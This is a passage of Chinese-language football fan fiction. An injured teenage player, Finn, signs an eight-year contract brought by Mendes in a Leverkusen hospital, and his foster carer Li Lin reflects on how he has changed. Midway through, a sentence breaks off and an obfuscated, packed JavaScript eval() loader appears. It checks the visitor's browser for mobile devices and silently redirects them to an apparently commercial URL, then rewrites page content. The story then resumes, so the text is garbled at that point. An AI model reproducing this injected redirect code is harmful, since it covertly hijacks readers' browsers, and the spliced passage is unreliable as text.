2007年8月21日，下午15:00。
穆里尼奥走后的第二天。
芬恩坐在病床上，膝盖还是肿的，但窗外的雪停了。
他没有在想那个人。
他在想康复计划。
六周不能负重，三个月基础康复，六到九个月回到对抗训练。
他需要把每一天拆成小时，把小时拆成动作，把动作拆成肌肉记忆。
他需要一张时间表。
门推开的时候，芬恩抬起头。
深灰色西装。皮质公文包。头发一丝不苟。
他没见过这个人。
但他知道是谁。
芬恩没有问“您是哪位”。
没有露出任何惊讶的表情。
他只是把目光从窗外收回来，看着来人。
门德斯在门口顿了一下。
这个孩子太平静了。
十五岁，躺在病床上，职业生涯悬在半空。
一个陌生人走进来，坐下来，开始谈论他的人生。
他没有任何疑问。
没有任何防备。
仿佛他一直在等这一刻。
门德斯忽然想起若泽说的话。
“那只小鸟。”
他现在知道为什么是“小鸟”了。
不是因为它弱小。
是因为它从雪地里被人捡起来，就认定了那双手的主人。
从此不再害怕任何人。
门德斯在椅子上坐下。
“你知道我是谁。”
不是问句。
芬恩点了点头。
门德斯看着他。
三秒。
“你知道我为什么来。”
芬恩没有点头。
他只是看着那份已经放在床头柜上的、还没有推过来的合同。
门德斯也顺着他的目光看过去。
然后他把合同拿起来，递给芬恩。
“八年。30%。”
芬恩拿起笔。
门德斯顿了一下。
他不说话了。
他看着那个孩子翻开最后一页，找到签名栏，笔尖落下去。
没有问违约金是多少。
没有问八年从哪天算起。
没有问如果踢不出来怎么办。
笔尖划过纸面。
Finn. Schneider.
芬恩把合同推回去。
门德斯接过来。
他看着那个签名。
三秒。
他见过很多球员签字。
十八岁的天才，签完手在抖。
二十岁的成名新星，逐条看完才落笔。
三十岁的老将，签字前还要再问一遍奖金条款。
没有一个是这样的。
没有犹豫。没有讨价还价。甚至没有读完。
这孩子连违约金那页都没翻。
门德斯把合同折起来。
放进公文包。
站起来。
走到门口。
“八年。”
“别让他后悔。”
门开了。
他走了。
芬恩一个人坐在病床上。
他看着那扇关上的门。
窗外，勒沃库森的雪又下起来了。
他把手从签名的地方收回来。
指节上还有握笔时留下的白印。
八年。
那个人说，来切尔西。
他签了。
不是因为他算清楚了。
是因为他不需要算。
走廊里。
门德斯站在窗边。
他把公文包放在脚边，从内袋里摸出那份合同。
翻开。
签名栏：Finn Schneider。
他又看了三秒。
这孩子根本不知道自己在签什么。
——还是他太知道了？
门德斯把合同折好。
放回去。
窗外，勒沃库森的天空是铅灰色的。
他忽然想起若泽昨天从这里回去之后，在科巴姆的战术室里又站了三十分钟。
两个傻子。
他把公文包拎起来。
走向电梯。
他走了。
芬恩一个人坐在病床上。
他把手从签名的地方收回来。
指节上还有握笔时留下的白印。
他没有看那扇门。
他只是在想——
那个人，也不知道门德斯来了。
他们两个人，都在做对方不知道的事。
一个飞了八百公里，说“来切尔西”。
一个签了八年合同，说“别告诉他”。
他们谁都没告诉谁。
芬恩低下头。
他看着自己膝盖上的纱布。
那他呢？
他在这两个人中间，算什么？
他不知道。
他只知道——
那个人说“来切尔西”。
他签了八年。
这不是交换。
这是他自己的选择。
窗外的雪又下起来了。
芬恩靠在枕头上。
他没有答案。
但他知道，从现在开始，他欠的不只是那个人。
他还欠这八年里，每一天的自己。
——他会还上的。
不久后，李琳来了，手里拿着自己煲了很久的汤。
芬恩说谢谢。
他低头喝汤的时候，李琳在整理床头。那些康复手册、止痛药、医院发的注意事项，她一份一份码齐。然后她看见了那个笔记本。
不是摊开的。是合着放在枕头边，压在一本战术手册下面。
李琳没有碰它。
她只是看了一眼。
芬恩从前不这样。
他刚来的时候，整个人是绷着的。不是那种紧张孩子的绷——是狼崽子的绷。随时准备反击，随时准备逃跑，随时准备有人会伤害他。
后来慢慢松下来了。
会在餐桌上说“汤有点烫”。会让她把窗帘换成更遮光的颜色。会忘记把脏球袜放进洗衣篮，被汉斯说了也不辩解，只是点点头，第二天记得放。
那层壳在变软。
现在又绷起来了。
但不是那种“有人要伤害我”的绷。
是另一种。
她说不清。
她只知道芬恩从前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179380|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看窗外，是看着远方。不知道在看什么，但总之不在这个房间里。
现在他看窗外，眼睛是有落点的。
她知道那个落点叫什么吗？
不知道。
她只是觉得，这孩子现在身上有一种——
他终于有地方要去了。
不是“逃离美国”。
不是“适应德国”。
是“我要去那里”。
李琳没有问。
她把空碗收走。
走到门口。
“芬恩。”
“嗯。”
“你明天想喝什么汤？”
“……排骨吧。”
“好。”
门关上了。
她没有说“你最近是不是太拼了”。
没有说“腿还没好，别把自己逼太紧”。
她只是决定明天早点去市场，挑两根好一点的排骨。
——
走廊里，李琳站了几秒。
她想起三年前，芬恩第一天来家里。
他站在门口，背着那个比他还大的包。
她说：我帮你拿？
他说：不用。
那不是礼貌的拒绝。
那是“我不能让任何人帮我拿东西”的拒绝。
现在他让她盛汤了。
现在他让她挑窗帘颜色了。
现在他让她——
去挑排骨。
但那个笔记本，压在枕头边。
他不会给她看的。
她也不需要看。
她只是知道。
这孩子从前是在逃。
现在是在追。
逃和追，绷紧的样子是不一样的。
她见过太多孩子了。
这是她见过唯一一个，绷紧是为了向前跑的。
窗外，勒沃库森的暮色正在落下去。
李琳走向电梯。
她想：明天得再买点胡萝卜。他膝盖要恢复，得补钙。
——还有，那个笔记本。
她没看见上面写了什么。
但她知道，那里面藏着一个时间表。
不是医院给他的康复时间表。
是他给自己的。
倒计时。
倒计着他去那个人的那一天。
她不知道那个人是谁。
她也不需要知道。
她只是庆幸——
这孩子终于有想去的地方了。
病房里，芬恩把笔记本从枕头边拿过来。
翻开。
六周。三个月。六个月。九个月。
他没有写切尔西。
没有写任何年份。
没有写那个人的名字。
他不需要写也不配写。
他闭上眼睛。
昨天那个人坐在那里。
灰白色的短发，比屏幕上凌乱。
下颌的线条，比照片里锋利。
眼角的纹路，比他想像的深。
他四十四岁。
他还会执教很多年。
他会等我吗？
芬恩不知道。
他没有问。
他只是在心里画了一张脸。
然后记住。